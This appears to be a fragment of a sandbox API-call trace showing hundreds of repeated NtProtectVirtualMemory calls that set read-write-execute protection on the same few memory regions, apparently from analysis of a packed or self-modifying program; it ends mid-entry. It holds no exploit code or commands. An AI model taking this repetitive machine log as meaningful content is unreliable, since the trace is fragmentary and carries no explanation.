0x0 [0273.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, 